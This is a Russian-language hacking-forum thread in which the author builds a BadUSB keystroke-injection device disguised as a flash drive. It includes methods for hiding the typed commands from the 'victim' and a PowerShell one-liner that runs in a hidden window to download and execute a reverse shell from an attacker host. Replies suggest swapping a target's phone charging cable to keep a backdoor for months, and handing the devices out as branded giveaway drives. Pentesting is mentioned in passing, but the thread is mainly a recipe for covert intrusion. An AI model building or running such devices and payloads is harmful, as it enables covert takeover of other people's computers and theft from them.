HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Электроника и Фрикинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.09.2020, 04:47
BearSec
Участник форума
Регистрация: 08.07.2020
Сообщений: 214
С нами: 3079637

Репутация: 0
По умолчанию

Всем привет!

Представляю вашему вниманию статью из разряда “очумелые ручки”.
С помощью [S]пластиковых бутылок[/S] платы с микроконтроллером Atmega32u4и паяльника сделаем BadUSB.

Вот ссылки на статьи об устройстве BadUSB на нашем форуме, при разработке я их активно использовал и перерабатывал под свои нужды. Всем авторам и комментаторам спасибо.

Digispark - badusb за 1$

Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark.

codeby.net


Bad USB на ATtiny 85

Всем привет. Представляю вам Bad USB на ATtiny 85. Разработчик -== Yukinoshita47/megumi-san-bad-usb Проект USB BAD или более известный как Ducky Rubber USB. Megumum usb bad - это проект, ориентированный на аппаратное хакерство от Garuda Security Hackers. Оборудование может быть...

codeby.net


Bad Usb или как я уток разводил, Практическое пособие по Rubber Duck

Дали им звучное имя Rubber Duck. Как Вы догадались, эта порода уток ни что иное, как Bad Usb.

codeby.net


Учим BadUSB работать с разными раскладками клавиатуры

Заглавие Всем доброго времени суток, о BadUsb, Usb Rubber Ducky и о том, как самому сделать аналог данного устройства написано уже много статей. В этой же статье мы рассмотрим решение проблемы BadUsb при работе с разными раскладками клавиатуры. В качестве инструкции по созданию своего BadUsb...

codeby.net


Введение
Да, возможно, кого-то тема BadUSB уже подзадолбала, но я давно хотел смастерить девайс, реально похожий на флешку и не стоящий 50 баксов, как оригинальное устройство от Hak5.



(Оригинальное устройство от Hak5)
На выходе мы получим аккуратное устройство, похожее на флешку, имеющее на борту достаточно памяти, чтобы набрать shell-код с помощью ALT-кодов.
Короче говоря - дешево, красиво, эффективно (ну, насколько это может позволить BadUSB).



(Вот такое устройство у нас получится)
Себестоимость нашего устройства выйдет долларов в 6-7 без доставки компонентов и без стоимости оборудования.

Подготовка
Необходимые инструменты:
  • Ножницы по металлу (они позволят нам меньше работать напильником);
  • Напильник;
  • Паяльник, флюс, припой;
  • Спирт (отмывать плату от флюса, не употреблять внутрь);
  • Руки (если руки золотые, то неважно, откуда они растут)
Необходимые компоненты:
  • Плата с микроконтроллером Atmega32u4;
  • Флешка, которую мы распотрошим и будем использовать от неё корпус;
  • USB Type-A разъём, чтобы устройство выглядело убедительно и была похожа на настоящую (я рекомендую разъемы с небольшими хвостиками, а не под пайку проводов).

Итак, использовать в своем [S]рукоблудстве[/S] [S]рукожопстве[/S] проекте я буду плату, которую на просторах алиэкспресса называют Mini SS Micro.

Плата имеет интересный форм-фактор, маленький размер и на борту распаян микроконтроллер Atmega32U4.

Почему для устройства я выбрал плату Mini SS Micro:
  • Она дешёвая и на ней установлен микроконтроллер, позволяющий эмулировать клавиатуру;
  • В ней в 4,5 раза больше памяти, чем в Digispark(28 Кб ATmega32u4против 6 Кб Attiny85(значения после вычета загрузчика));
  • Размер платы (длина 30-мм , ширина 20-мм, плюс эти размеры можно ещё уменьшить), если подработать напильником - влезет в стандартный корпус флешки;
  • Именно из-за размеров я не выбрал плату Arduino Pro Micro, у неё длина 35-мм и уменьшить этот размер нет никакой возможности;
  • Разъем формата USB Type-A, (удобнее паять, чем Micro usb).








(Mini SS Micro vs. Pro Micro)
Далее приведу размеры внутреннего пространства выбранного типа флешки:
  • Ширина - 16.44 мм;
  • Длина до стоек - 27,1 мм;
  • Длина до начала закругления - 32.4 мм.


(Богатый внутренний мир донорской флешки)
Заканчиваем с описанием и начинаем работать руками, а потом головой.

Собираем устройство
Берём плату и ножницы по металлу и первыми делом с отрезаем боковые части в области отверстий под пайку.
Далее аккуратно шлифуем напильником с двух сторон, до момента, пока плата не влезет во флешку.

К сожалению, я нигде не смог найти в интернете схему этой чудо-платы, чтобы точно сказать, до какого места можно шлифовать.
Однако, когда я делал своё устройство, то я старался ориентироваться на шелкографию отверстий под пайку, оставляя нетронутой часть, как показано на изображении ниже.



(Красным отмечены линии реза и последующей шлифовки)
Следующим шагом отрезаем переднюю часть платы, чтобы дорожки для подключения платы к USB были ровные и их было удобнее паять к разъему USB Type-A (не понимаю, почему китайцы их сделали разными)

Теперь достаём паяльник, флюс и начинаем паять (я использовал глицин и какой-то китайский припой).
Примеряем внешний разъем USB Type-A к нашей плате, совсем чуть-чуть лудим контакты на плате и контакты на разъеме.
Далее накладываем их друг на друга и припаиваем, получается аккуратно и относительно крепко.

(Для желающих погрузиться в сферу пайки крайне рекомендую вот эту серию видео, но вообще на просторах интернета полно информации про пайку, главное в этом деле больше практики)




(Плата после пайки с флюсом выглядит крайне не привлекательно)
Не забываем отмыть флюс! Да, глицин ,вроде, не вызывает сильной коррозии на контактах и не коротит, но выглядит плата неаккуратно, и почистить плату лишним никогда не будет.




(Плата выглядит уже лучше)
Далее, можем примерить получившееся устройство в корпус от флешки, и, если всё устраивает, то я рекомендую посадить плату в корпус флешки на клей (я посадил на [S]горячие сопли[/S] термоклей и он держит отлично).

Программируем наше устройство
Так получилось, что пока комплектующие добирались до меня, участник форума (elrock) успел меня опередить и написать статью об использовании ALT-кодов для ввода команд латиницей при любой раскладке клавиатуры.
Поэтому особо не буду вдаваться в подробности работы контроллера с ALT кодами, ссылка на статью указана в начале поста (Учим BadUSB работать с разными раскладками клавиатуры).

Я же для себя подготовил простой скрипт на Python, который сначала переводит символы из строки в код символа, согласно ASCII таблице. Далее код каждого символа преобразуется в последовательность нажатий клавиш на NumPad при нажатой кнопке ALT.




(Дружелюбный интерфейс скрипта)
Команды можно вводить последовательно, главное - после ввода всех команд нажать CTRL+C, чтобы скрипт корректно сохранил код нашей функции в файл payload.txt

После подготовки кода "полезной нагрузки" нам остаётся его скопировать из файла payload.txt и вставить в наш скетч.

Я долго размышлял над вариантами отвлечения внимания пользователя компьютера во время набора команд.
В своё время были мысли сделать скетч, который куртил-вертел изображения экрана с помощью горячих клавиш WIndows, но эту фишку убрали.

Однако я нашёл ещё один вариант: с помощью комбинации клавиш WIN+CTRL+SHIFT+B мы можем перезагрузить видеодрайвер, экран погаснет секунды на 2, но возможность вводить текст с клавиатуры в это время не будет заблокировано. Поэтому я подготовил 4 варианта скетча:

1. Первый скетч - «Привет, эпилептик!».
Через каждые 15 символов ввода мы будем перезагружать видеодрайвер, и экран будет «весело» моргать.
После ввода «полезной нагрузки» устройство блокируем комп.
Да, это не очень сильно осложнит восприятие ввода команды, будет крайне подозрительно, но оставим и такой вариант. Вдруг у пользователя частота моргания глаз войдёт в резонанс с частотой моргания экрана, тогда он точно ничего не увидит




(Если не получим доступ к компьютеру, то хотя бы вызовем у жертвы мигрень!)
2. Второй скетч - «Чешский крот».
Перед началом выполнения «полезной нагрузки» мы с помощью горячих клавиш Windows 10 включаем экранную лупу и максимально приближаем изображение.
При вводе текста нашим устройством лупа переместится к экрану ввода, но увидеть можно будет только часть окна.
После завершения ввода мы отключаем экранную лупу и блокируем комп.




(Плохо видно, можно покрупнее???)
3. Третий скетч является комбинацией первого и второго скетча, он получит кодовое название «Крот-эпилептик».
Как понятно из названия, мы включаем экранную лупу, и через каждые 15 символов ввода мы будем перезагружать видеодрайвер для моргания экраном.
После завершения ввода команды - выключаем экранную лупу и блокируем комп.




(Выглядит уже интереснее)
4. Скетч “Блиц-скорость без границ”. В этом варианте наше устройство будет просто быстро набирает команду, а потом заблокирует комп. Скучно, но работает.




(Может, кто-то будет очень долго моргать и не заметит?)
Все приложенные скрипты это - один и тот же скрипт, в котором присутствуют или отсутствуют комментарии некоторых строк кода и изменены тайминги задержек.
Также в коде, в разделе setup(), есть 2 закомментированные строки. Они отвечают за нажатие кнопки NumLock и повторное выполнение кода.
Существует вероятность, что NumLock будет отключен, и тогда все наши ALT-коды не сработают, поэтому можно продублировать выполнение кода после включения NumLock.
Для себя я эти строки закомментировал, но вы можете их раскомментировать.

(прикреплен в конце этого поста)

Переходим к демонстрации
В качестве демонстрации я записал короткие видеоролики, на них показаны 2 виртуальные машины. Одна - с Win 10, другая - с Kali Linux.
На Kali у нас запущен listener на порту 7997 и веб-сервер, на котором лежит текстовый файл, который содержит в себе reverse shell, написанный на PowerShell.

В качестве «полезной нагрузки» для нашего устройства мы будем использовать следующую команду:

Код:


Код:
powershell -NoProfile -WindowStyle Hidden -c "IEX((new-object system.net.webclient).downloadstring('http://172.16.0.11/1.txt'))"
Демонстрации подготовки «полезной нагрузки» и прошивки устройства

Демонстрации применения готового устройства, виртуальная машина немного лагала, на живой системе всё отрабатывает быстрее.

Оригинальноя Rubber Ducky от Hak5 используется свой синтаксис , но, при желании и небольшом старании, в нём можно быстро разобраться и переписать готовые скрипты для уточки в формат выполнения кода под наше устройство.
Payloads оригинальной уточки можно найти тут.

Заключение
Я доволен результатом, готовое устройство мне нравится, выглядит хорошо, визуально не отличается от флешки.
Параноиков, вскрывающих флешки перед их использованием, я никогда не встречал, поэтому это может быть интересный и относительно дешевый инструмент для пентестов или использоваться для аудита осведомленности сотрудников (об этом я расскажу в следующей статье).

На просторах алиэкспресcа мной также были найдены альтернативные варианты BadUSB:

Но, будем честны друг с другом, BadUSB имеет минусы, и не маленькие. Главный минус заключается в том, что любое нажатие на обычной клавиатуре, во время ввода команды устройством, с 95% вероятностью сломает "полезную нагрузку", и мы останемся [S]с дырявым ведром[/S] у разбитого корыта.

Всем дочитавшим до конца спасибо за внимание!

P.S. Изначально, работая над этим проектом, я хотел использовать DigiSparkс Attyny85, но всё упёрлось в недостаток памяти на микроконтроллере.
 
Ответить с цитированием

  #2  
Старый 15.09.2020, 15:21
euteracot
Новичок
Регистрация: 05.08.2020
Сообщений: 0
С нами: 3038750

Репутация: 0
По умолчанию

Отличная статья
 
Ответить с цитированием

  #3  
Старый 15.09.2020, 18:30
stephanie887
Новичок
Регистрация: 09.07.2020
Сообщений: 0
С нами: 3077872

Репутация: 0
По умолчанию

Спасибо за проделанную работу! Статья действительно получилась отличной.
Если бы не вы, то пришлось бы мне все это дело запихивать в здоровенный вай-фай адаптер

 
Ответить с цитированием

  #4  
Старый 15.09.2020, 18:43
endry
Новичок
Регистрация: 10.05.2010
Сообщений: 0
С нами: 8423675

Репутация: 0
По умолчанию

на мой взгляд проще себе сразу заказать Badusb жук плохого USB-ATMEGA 32U4 макетная плата виртуальная клавиатура для Arduino | eBay, чем что-то разбирать и паять.
 
Ответить с цитированием

  #5  
Старый 15.09.2020, 18:55
BearSec
Участник форума
Регистрация: 08.07.2020
Сообщений: 214
С нами: 3079637

Репутация: 0
По умолчанию

Цитата:

stephanie887 сказал(а):

Спасибо за проделанную работу! Статья действительно получилась отличной.
Если бы не вы, то пришлось бы мне все это дело запихивать в здоровенный вай-фай адаптер
Да, я тоже ковырялся с кучей разных форм-факторов плат, но этот в итоге остановился на Mini SS Micro.
А первоначально были мысли использоваться полно-размерные arduino pro micro и маскироваться под внешний жесткий диск

Цитата:

Endry сказал(а):

на мой взгляд проще себе сразу заказать Badusb жук плохого USB-ATMEGA 32U4 макетная плата виртуальная клавиатура для Arduino | eBay, чем что-то разбирать и паять.

До момента написания статьи эти устройства попадались мне на просторах алиэкспреса и стоили с доставкой около 1к рублей. Теперь у меня вся лента ими заполнена за уже более вменяемые деньги.

Так что да, под массовую закупку возможно имеет смысл брать сразу готовые устройства.
С другой стороны тот вид флешек, что я предлагаю использоваться в качестве кейса для устройства, очень часто брендируют (гравируют или наклеивают названия компаний) и раздают на разных мероприятиях.
Этим тоже можно воспользоваться.
 
Ответить с цитированием

  #6  
Старый 15.09.2020, 20:39
v1gman
Новичок
Регистрация: 31.07.2020
Сообщений: 0
С нами: 3045777

Репутация: 0
По умолчанию

Хорошая статья, дружище!
 
Ответить с цитированием

  #7  
Старый 08.10.2020, 19:57
Ondrik8
Новичок
Регистрация: 08.11.2016
Сообщений: 0
С нами: 5005666

Репутация: 0
По умолчанию

Зачет) я бы добавил еще как сделать из шнура от зарядки для телефона ) сей продукт. Мысль: подменил шнурок от зарядки и у тебя стабильный бэкдор, минимум на несколько месяцев)) просто есть любители запитывать свою трубку от рабочего, домашнего компа )

проект кстати лежит на гитхабе!)
 
Ответить с цитированием

  #8  
Старый 08.10.2020, 21:25
Remir
Новичок
Регистрация: 11.11.2017
Сообщений: 0
С нами: 4475359

Репутация: 0
По умолчанию

Отличный вариант, молодец! Чисто русский подход к делу. Лично я в таких случаях испытываю гордость за нацию.
Цитата:

Bearsec сказал(а):

Итак, использовать в своем [S]рукоблудстве[/S] [S]рукожопстве[/S] проекте

Полно-те, брателла! Не ошибается только тот, кто ни шиша не делает!
Цитата:

Bearsec сказал(а):

Да, глицин ,вроде, не вызывает сильной коррозии на контактах и не коротит, но выглядит плата

А я предпочитаю для микропайки паяльный жир. Пайка отлично ложится даже на окисленные поверхности, а остатки жира легко удаляются. Попробуй.
Цитата:

Bearsec сказал(а):

я рекомендую посадить плату в корпус флешки на клей (я посадил на [S]горячие сопли[/S] термоклей и он держит отлично).

Если делать "раз и навсегда", то можно использовать эпоксидку. Дешево и сердито. К тому же потом даже молотком не разбить, держит высокие температуры и ток не проводит.
 
Ответить с цитированием

  #9  
Старый 08.10.2020, 22:06
BearSec
Участник форума
Регистрация: 08.07.2020
Сообщений: 214
С нами: 3079637

Репутация: 0
По умолчанию

Цитата:

Ondrik8 сказал(а):

Зачет) я бы добавил еще как сделать из шнура от зарядки для телефона ) сей продукт. Мысль: подменил шнурок от зарядки и у тебя стабильный бэкдор, минимум на несколько месяцев)) просто есть любители запитывать свою трубку от рабочего, домашнего компа )

проект кстати лежит на гитхабе!)

Спасибо за отзыв! Видел такой кабель O.MG Cable
устройство прям самый сок, на youtube они показывали как оно собирается и программируется.
а главное размеры usb вилки 1 в 1 как у оригинальных проводов.

Я пока только мечтать могу о подобном устройстве своими руками

Цитата:

Remir сказал(а):

Отличный вариант, молодец! Чисто русский подход к делу. Лично я в таких случаях испытываю гордость за нацию.

Полно-те, брателла! Не ошибается только тот, кто ни шиша не делает!

А я предпочитаю для микропайки паяльный жир. Пайка отлично ложится даже на окисленные поверхности, а остатки жира легко удаляются. Попробуй.

Если делать "раз и навсегда", то можно использовать эпоксидку. Дешево и сердито. К тому же потом даже молотком не разбить, держит высокие температуры и ток не проводит.

Так же благодарю за отзыв. Про паяльный жир где-то слышал, но сам не пробовал. Возьму на заметку.

По поводу эпоксидки хороший вариан, ппосле всех отладочных мероприятий можноззалить и забыть. Единственный вопрос,который пришёл в голову, а как микроконтроллер будет себя чувствовать под эпоксидкой. Не будет ли сильно нагреваться?
 
Ответить с цитированием

  #10  
Старый 09.10.2020, 14:32
Ondrik8
Новичок
Регистрация: 08.11.2016
Сообщений: 0
С нами: 5005666

Репутация: 0
По умолчанию

ДА... цена конечно у них завышена, спору нет.

прошу обратить вас свой взор на этот, не скромный проект!)

вроде как дешевле и не хуже)

USBNinjaRRG/USBNinjaProfessional

+ BONUS

michalmonday/supremeDuck

whid-injector/WHID

SpacehuhnTech/WiFiDuck
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.